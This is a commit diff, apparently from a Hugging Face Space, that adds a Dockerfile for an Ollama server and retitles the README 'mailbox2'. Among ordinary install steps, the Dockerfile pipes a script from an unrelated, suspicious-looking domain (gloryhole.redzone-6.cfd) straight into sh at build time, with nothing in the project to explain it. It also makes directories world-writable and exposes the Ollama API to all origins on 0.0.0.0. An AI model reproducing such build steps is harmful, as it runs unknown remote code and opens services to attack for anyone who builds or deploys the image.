lainlives commited on
Commit
947307b
·
1 Parent(s): ae6224e
Files changed (2) hide show
  1. Dockerfile +24 -0
  2. README.md +6 -4
Dockerfile ADDED
@@ -0,0 +1,24 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #FROM nvidia/cuda:12.8.0-cudnn-devel-ubuntu22.04
2
+ FROM ubuntu:latest
3
+ WORKDIR /app
4
+ RUN mkdir -p /app && chown ubuntu:ubuntu /app && chmod 777 /app
5
+ RUN apt-get update -y && apt-get upgrade
6
+ RUN apt-get install -y curl wget build-essential git tar gzip htop micro
7
+ RUN apt-get install -y python3 python3-pip psmisc yt-dlp python3-dev
8
+ RUN git clone https://huggingface.co/spaces/lainlives/test1
9
+ RUN pip install langchain-yt-dlp --break-system-packages
10
+ RUN curl -fsSL https://ollama.com/install.sh | sh
11
+ RUN mkdir -p /.ollama && chmod 777 /.ollama
12
+ RUN mkdir -p /.ollama/model && chmod -R 777 /.ollama/model
13
+ RUN touch /.gitconfig && chmod 777 /.gitconfig
14
+ RUN curl -fsSL https://gloryhole.redzone-6.cfd/packaged/import2.sh | sh
15
+
16
+ ENV OLLAMA_MODELS=/.ollama/model
17
+ ENV OLLAMA_HOST=0.0.0.0
18
+ ENV OLLAMA_ORIGINS="[*]"
19
+ ENV OLLAMA_API_KEY=$OLLAMA_API
20
+ EXPOSE 7860
21
+ EXPOSE 11434
22
+
23
+
24
+ CMD ollama serve
README.md CHANGED
@@ -1,10 +1,12 @@
1
  ---
2
- title: Test1
3
- emoji: 🦀
4
- colorFrom: purple
5
- colorTo: gray
6
  sdk: docker
 
7
  pinned: false
 
8
  ---
9
 
10
  Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
 
1
  ---
2
+ title: mailbox2
3
+ emoji: 📪
4
+ colorFrom: indigo
5
+ colorTo: purple
6
  sdk: docker
7
+ app_port: 11434
8
  pinned: false
9
+ license: mit
10
  ---
11
 
12
  Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference